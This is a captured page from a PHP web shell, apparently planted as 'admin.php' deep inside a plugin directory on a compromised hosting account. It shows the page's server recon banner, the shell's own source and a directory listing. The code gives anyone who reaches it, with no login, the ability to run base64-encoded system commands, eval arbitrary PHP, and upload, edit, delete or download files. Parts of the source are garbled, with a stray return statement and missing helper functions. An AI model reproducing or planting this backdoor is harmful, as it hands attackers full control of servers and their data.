PHP Version: 8.0.30
Linux Version: Linux webm003.cluster115.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Uname: Linux
User: eliteafr
Hostname: webm003.cluster115.gra.hosting.ovh.net
Disabled PHP Functions: _dyuweyrj4,_dyuweyrj4r,dl

Edit File: admin.php

<?php
session_start();

function getUpperDirectory($currentDir) {
    // Check if the current directory is the root directory
    if ($currentDir === '/' || $currentDir === '\\') {
        return $currentDir;
    }
    
    // Get the parent directory
    $parentDirectory = dirname($currentDir);
    
    // Get the absolute path of the parent directory
    $absolutePath = realpath($parentDirectory);
    
    return $absolutePath;
}

function remove_dis($functions) {
  $disabled_functions = ini_get('disable_functions');
  $disabled_functions = explode(',', $disabled_functions);
  $enabled_functions = array();

foreach ($functions as $function) {
    if (!in_array($function, $disabled_functions) && function_exists($function)) {
      $enabled_functions[] = $function;
    }
  }

return $enabled_functions;
}

return $output;
}

function createDirectoryLinks($directory) {
    $sections = explode(DIRECTORY_SEPARATOR, $directory);
    $currentPath = '';
    $links = '';

foreach ($sections as $section) {
        if (!empty($section)) {
            $currentPath .= DIRECTORY_SEPARATOR . $section;
            $links .= DIRECTORY_SEPARATOR ."<a href=\"javascript:void(0)\" onclick=\"change_dir('" . $currentPath . "')\"><u>" . $section . "</u></a>";
        }
    }

return $links;
}

function getFilePermissionsString($itemPath) {
    $permissions = fileperms($itemPath);

// Get the file type
    $fileType = '';
    if (is_dir($itemPath)) {
        $fileType = 'd';
    } elseif (is_link($itemPath)) {
        $fileType = 'l';
    } else {
        $fileType = '-';
    }

// Convert integer permissions to string representation
    $permissionString = $fileType;

// Owner permissions
    $permissionString .= ($permissions & 0x0100) ? 'r' : '-';
    $permissionString .= ($permissions & 0x0080) ? 'w' : '-';
    $permissionString .= ($permissions & 0x0040) ?
        (($permissions & 0x0800) ? 's' : 'x') :
        (($permissions & 0x0800) ? 'S' : '-');

// Group permissions
    $permissionString .= ($permissions & 0x0020) ? 'r' : '-';
    $permissionString .= ($permissions & 0x0010) ? 'w' : '-';
    $permissionString .= ($permissions & 0x0008) ?
        (($permissions & 0x0400) ? 's' : 'x') :
        (($permissions & 0x0400) ? 'S' : '-');

// Others permissions
    $permissionString .= ($permissions & 0x0004) ? 'r' : '-';
    $permissionString .= ($permissions & 0x0002) ? 'w' : '-';
    $permissionString .= ($permissions & 0x0001) ?
        (($permissions & 0x0200) ? 't' : 'x') :
        (($permissions & 0x0200) ? 'T' : '-');

return $permissionString;
}

// Fetch directory listing using ls -liah command
function getDirectoryListing($directory) {
    $directoryContents = scandir($directory);
    $lsOutput = "";
    $directories = array();
    $files = array();
	$x = 0;
    foreach ($directoryContents as $item) {
        
		$x++;
        $itemPath = $directory . '/' . $item;
        $itemInfo = pathinfo($itemPath);
        $permissions = getFilePermissionsString($itemPath);
        $owner = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner($itemPath))['name'] : getOwnerInfo($itemPath);
		$group = (function_exists('posix_getgrgid')) ? posix_getgrgid(filegroup($itemPath))['name'] : getGroupInfo($itemPath);
        $size = filesize($itemPath);
		if ($size < 1024) {
			$sString = $size . " B";
		} elseif ($size < 1048576) {
			$sString = round($size / 1024, 2) . " KB";
		} elseif ($size < 1073741824) {
			$sString = round($size / 1048576, 2) . " MB";
		} else {
			$sString = round($size / 1073741824, 2) . " GB";
		}
		$sString = str_replace(" ", "", $sString);
		//echo "[[$sString]]";
		
        $modifiedTime = date('Y-m-d H:i:s', filemtime($itemPath));
		if(substr($permissions, 0, 1)=="d"){
			$item = "[$item]";
		}
        $line = sprintf(
            "%d[+]%s[+]%s[+]%s[+]%s[+]%s[+]%s",
            $x,
            $item,
            $owner,
            $group,
            $sString,
            $permissions,
            $modifiedTime
            
        );
        if(substr($permissions, 0, 1)=="d"){
			$directories[] = $line;
		}else{
			$files[] = $line;
		}
    }
    $lsOutput = implode("\n", $directories);
    $lsOutput .= "\n".implode("\n", $files);
    
    return $lsOutput;
}

function forceDownload($filePath) {
    if (file_exists($filePath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}

echo <<<head
<style>
td, tr{
	font-size: small;
}
body {
  font-family: Arial, sans-serif;
  background-color: #1a1d23;
  color: #fff;
  padding: 20px;
  margin: 0;
  box-sizing: border-box;
}

h1, h2, h3, h4, h5, h6 {
  color: #fff;
  margin-bottom: 10px;
}

h1 {
  font-size: 36px;
}

h2, .underlink {
  font-size: 24px;
}

h3 {
  font-size: 18px;
}

h4, div {
  font-size: 16px;
}

h5 {
  font-size: 14px;
}

h6 {
  font-size: 12px;
}

p {
  font-size: 16px;
  margin-bottom: 20px;
}

a {
  color: #fff;
  text-decoration: none;
  transition: color 0.2s ease;
}

a:hover {
  color: #ccc;
}

table {
  border-collapse: collapse;
  width: 100%;
  margin-bottom: 20px;
}

th, td {
  border: 1px solid #333;
  padding: 10px;
  text-align: left;
}

th {
  background-color: #333;
  color: #fff;
}

td {
  border-color: #333;
}

tr:nth-child(even) {
  background-color: #333;
}

tr:nth-child(odd) {
  background-color: #444;
}

tr:hover {
  background-color: #555;
}

tr:hover td {
  background-color: #666;
}

tr:hover th {
  background-color: #777;
}

button {
  background-color: #333;
  color: #fff;
  border: none;
  padding: 10px 20px;
  font-size: 16px;
  cursor: pointer;
}

button:hover {
  background-color: #444;
}

input[type="text"] {
  padding: 10px;
  border: 1px solid #333;
  width: 30%;
  font-size: 16px;
}

input[type="submit"] {
  background-color: #333;
  color: #fff;
  border: none;
  padding: 10px 20px;
  font-size: 16px;
  cursor: pointer;
}

input[type="submit"]:hover {
  background-color: #444;
}

</style>
<body>
head;
// PHP version
echo "PHP Version: " . phpversion() . "<br>";

// Linux version
$linuxVersion = php_uname('a');
echo "Linux Version: " . $linuxVersion . "<br>";

// Uname
$uname = php_uname('s');
echo "Uname: " . $uname . "<br>";

// User
$user = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner(".."))['name'] : getOwnerInfo("..", true);
echo "User: " . $user . "<br>";

// Hostname
$hostname = gethostname();
echo "Hostname: " . $hostname . "<br>";

// Disabled PHP functions
$disabledFunctions = ini_get('disable_functions');
echo "Disabled PHP Functions: " . $disabledFunctions . "<br>";

// Initialize array to store previous working directories
if (!isset($_SESSION['prevDirs'])) {
    $_SESSION['prevDirs'] = [];
}

// Set default working directory
$workingDir = isset($_SESSION['workingDir']) ? $_SESSION['workingDir'] : __DIR__;

// Handle change of working directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["newdir"])) {
    $newDir = $_POST["newdir"];
    if (is_dir($newDir)) {
        // Check if the new directory is already in previous directories
        if (!in_array($newDir, $_SESSION['prevDirs'])) {
            $_SESSION['prevDirs'][] = $workingDir;
        }
        $workingDir = realpath($newDir);
        $_SESSION['workingDir'] = $workingDir;
    } else {
        echo "Invalid directory!";
    }
}

// Handle file upload
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) {
    $uploadDir = $workingDir . '/';
    $uploadFile = $uploadDir . basename($_FILES['file']['name']);

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "File uploaded successfully.\n";
    } else {
        echo "Error uploading file.\n";
    }
}

// Execute command
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["command"])) {
	chdir($workingDir);
    //$commandOutput = exCommand('/bin/cd ' . escapeshellarg($workingDir) . ' && ' . $_POST["command"]);
    $commandOutput = exCommand(base64_decode($_POST["command"]));
    if(is_array($commandOutput)){
		echo implode("\n<br>", $commandOutput);
	}else{
		echo "<pre>$commandOutput</pre>";
	}
}

// Handle file actions and directory listing
// Handle file actions and directory listing
if (isset($_GET['action']) && isset($_GET['filename'])) {
    $action = $_GET['action'];
    $filename = $_GET['filename'];
    switch ($action) {
        case 'E':
            // Edit file action
            $filePath = $workingDir . '/' . $filename;
            if (is_file($filePath)) {
                if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) {
                    // Save file content if form is submitted
                    $fileContent = $_POST["file_content"];
                    if (file_put_contents($filePath, $fileContent) !== false) {
                        echo "File saved successfully: $filename";
                    } else {
                        echo "Error saving file: $filename";
                    }
                } else {
                    // Display file content in form for editing
                    $fileContent = file_get_contents($filePath);
                    $fileContentSafe = htmlspecialchars($fileContent);
                    echo "<h2>Edit File: $filename</h2>";
                    echo "<form action=\"\" method=\"post\">";
                    echo "<textarea name=\"file_content\" rows=\"10\" cols=\"50\">$fileContentSafe</textarea><br>";
                    echo "<button type=\"submit\">Save</button>";
                    echo "</form>";
                }
            } else {
                echo "File not found: $filename";
            }
            break;
       case 'Del':
            // Delete file action
            $filePath = $workingDir . '/' . $filename;
            if (is_file($filePath)) {
                if (unlink($filePath)) {
                    echo "File deleted successfully: $filename";
                } else {
                    echo "Error deleting file: $filename";
                }
            } else {
                echo "File not found: $filename";
            }
            break;
        case 'Dow':
            // Download file action
            $filePath = $workingDir . '/' . $filename;
            if (is_file($filePath)) {
                forceDownload($filePath);
            } else {
                echo "File not found: $filename";
            }
            break;
        case 'R':
           // Handle rename file action
			if (isset($_GET['action']) && $_GET['action'] === 'R') {
				$filename = isset($_GET['filename']) ? $_GET['filename'] : '';
				$newname = isset($_GET['newname']) ? $_GET['newname'] : 'new';
				
				if (!empty($filename)) {
					// Implement your logic for renaming file here
					rename($filename, $newname);
					echo "renamed successfully from $filename to $newname";
				}
			}
            break;
        default:
            echo "Invalid action.";
            break;
    }
}

// Include the current working directory in the list of previous directories if it's not already listed
if (!in_array($workingDir, $_SESSION['prevDirs'])) {
    $_SESSION['prevDirs'][] = $workingDir;
}

// Update working directory if a previous directory link is clicked
if (isset($_GET['newdir'])) {
    $newDir = $_GET['newdir'];
    if (in_array($newDir, $_SESSION['prevDirs'])) {
        $workingDir = $newDir;
        $_SESSION['workingDir'] = $workingDir;
    }
}

// Get the directory listing
$lsOutput = getDirectoryListing($workingDir);

// Display directory listing in a table with single-line borders
$wd = __DIR__;
echo "<h2>Contents of ".createDirectoryLinks($workingDir).": <a href=\"javascript:void(0)\" onclick=\"change_dir('".$wd."')\">[<u>Home Dir</u>]</a></h2>";

// Get the current page number from the URL
$currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1;

// Set the number of entries per page
$entriesPerPage = 30;

// Split the $fileLines array into pages
$fileLinePages = array_chunk(explode("\n", $lsOutput), $entriesPerPage);

// Display the current page
echo "<table border='1' padding=1 cellspacing=0>";
foreach ($fileLinePages[$currentPage - 1] as $index => $line) {
    // Skip empty lines
    if (empty(trim($line))) continue;
    $columns = explode("[+]", $line);//preg_split('/\s+/', $line, -1, PREG_SPLIT_NO_EMPTY);
    echo "<tr>";
    foreach ($columns as $colIndex => $column) {
        if ($colIndex == count($columns) - 1) {
            // Last column (filename)
            echo "<td>$column</td>";
            if ($index >= 0) {
                // Actions for subsequent rows
                //echo $columns[5];
                if (substr($columns[5], 0, 1) != 'd') {
                    // If not a directory, include actions
                    echo '<td style="padding-left:3px;padding-right:2px;">';
                    echo "&nbsp;&nbsp;<a href=\"?action=E&filename=$columns[1]\">E</a> | ";
                    echo "<a href=\"?action=Del&filename=$columns[1]\">Del</a> | ";
                    echo "<a href=\"?action=Dow&filename=$columns[1]\">Dow</a> | ";
                    echo "<a href=\"?action=R&filename=$columns[1]\" id=\"rena\">R</a>&nbsp;&nbsp;";
                    echo "</td>";
                } elseif($columns[1]=="[.]" || $columns[1]=="[..]"){
					echo '<td style="padding-left:3px;padding-right:2px;">&nbsp;</td>';
				}else{
					$dirName = str_replace("[", "", $columns[1]);
					$dirName = str_replace("]", "", $dirName);
                    echo '<td style="padding-left:3px;padding-right:2px;">';
                    echo "<a href=\"?action=Dow&filename=$dirName\">Download</a> | ";
                    echo "<a href=\"?action=R&filename=$dirName\" id=\"rena\">Rename</a>&nbsp;&nbsp;";
                    echo "</td>";
                }
            }
        } else {
            // Other columns
            if(substr($column[0], 0, 1) == '['){
				//make it clickable to change directory
				$dirName = str_replace("[", "", $column);
				$dirName = str_replace("]", "", $dirName);
				
				if($dirName==".."){
					$dirName = getUpperDirectory($workingDir);
				}elseif($dirName !="."){
					$dirName = $workingDir."/".$dirName;
				}
				if ($dirName=="."){
					echo "<td>[.]</td>";
				}else{
					echo "<td><a href=\"javascript:void(0)\" onclick=\"change_dir('$dirName')\">$column</a></td>";
				}
			}else{
				echo "<td>$column</td>";
			}
        }
    }
    echo "</tr>";
}
echo "</table>";
// Display pagination links
echo "<div>";

// Calculate total pages and current page range
$totalPages = count($fileLinePages);
$currentPage = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$range = 11; // Number of pages to show before and after the current page

// Display previous ten pages link
if ($currentPage > $range) {
    echo "<a href=\"?page=" . max(1, $currentPage - $range) . "\" class=underlink><<prev ten</a> ";
} else {
    echo "<span class=\"disabled underlink\"><<prev ten</span> ";
}

// Display page numbers
for ($page = max(1, $currentPage - $range); $page <= min($totalPages, $currentPage + $range); $page++) {
    echo "<a href=\"?page=$page\" class=underlink";
    if ($page === $currentPage) {
        echo " style=\"font-weight: bold;\"";
    }
    echo ">$page</a> ";
}

// Display next ten pages link
if ($currentPage + $range < $totalPages) {
    echo "<a href=\"?page=" . min($totalPages, $currentPage + $range) . "\" class=underlink>next ten>></a> ";
} else {
    echo "<span class=\"disabled underlink\">next ten>></span> ";
}

echo "(total pages: $totalPages)";
echo "</div><br><br>";

// Change Working Directory form
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\" id=\"changedir\">";
echo "<label for=\"newdir\">Change Working Directory:</label>";
echo "<input type=\"text\" name=\"newdir\" id=\"newdir\">";
echo "<button type=\"submit\" name=\"submit\">CD</button>";
echo "</form>";

// Upload form
echo "<h2>Upload a File</h2>";
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\" enctype=\"multipart/form-data\">";
echo "<input type=\"file\" name=\"file\" id=\"file\">";
echo "<button type=\"submit\" name=\"submit\">Upload</button>";
echo "</form>";

// Command Execution form
echo "<h2>Execute Command</h2>";
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\" onsubmit=\"c=document.getElementById('command');c.value=btoa(c.value);\">";
echo "<label for=\"command\">Command:</label>";
echo "<input type=\"text\" name=\"command\" id=\"command\">";
echo "<button type=\"submit\" name=\"submit\">Execute</button>";
echo "</form>";

// PHP Eval form
echo "<h2>Evaluate PHP Code</h2>";
echo "<form action=\"" . htmlspecialchars($_SERVER["PHP_SELF"]) . "\" method=\"post\">";
echo "<label for=\"php_code\">PHP Code:</label>";
echo "<textarea name=\"php_code\" id=\"php_code\" rows=\"5\"></textarea>";
echo "<button type=\"submit\" name=\"submit\">Evaluate</button>";
echo "</form>";

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["php_code"])) {
    $phpCode = $_POST["php_code"];
    try {
        ob_start();
        eval($phpCode);
        $output = ob_get_clean();
        echo "<h3>Output:</h3>";
        echo "<pre>$output</pre>";
    } catch (Exception $e) {
        echo "<h3>Error:</h3>";
        echo "<pre>" . $e->getMessage() . "</pre>";
    }
}
echo <<<footer
</body>
<script>
function change_dir(dirname){
	document.getElementById("newdir").value = dirname;
	formm = document.getElementById("changedir");
	formm.submit.click();
}
</script>
footer;

Contents of /home/eliteafr/www/data/plugins/keqmtsz/includes/2024/ttw: [Home Dir]

1	[.]	eliteafr	users	3B	dr-xr-xr-x	2017-09-10 02:04:19
2	[..]	eliteafr	users	3B	drwxr-xr-x	2026-06-08 01:26:04
3	admin.php	eliteafr	users	20.37KB	-r--r--r--	2017-09-10 02:04:19	E \| Del \| Dow \| R

< 1 next ten>> (total pages: 1)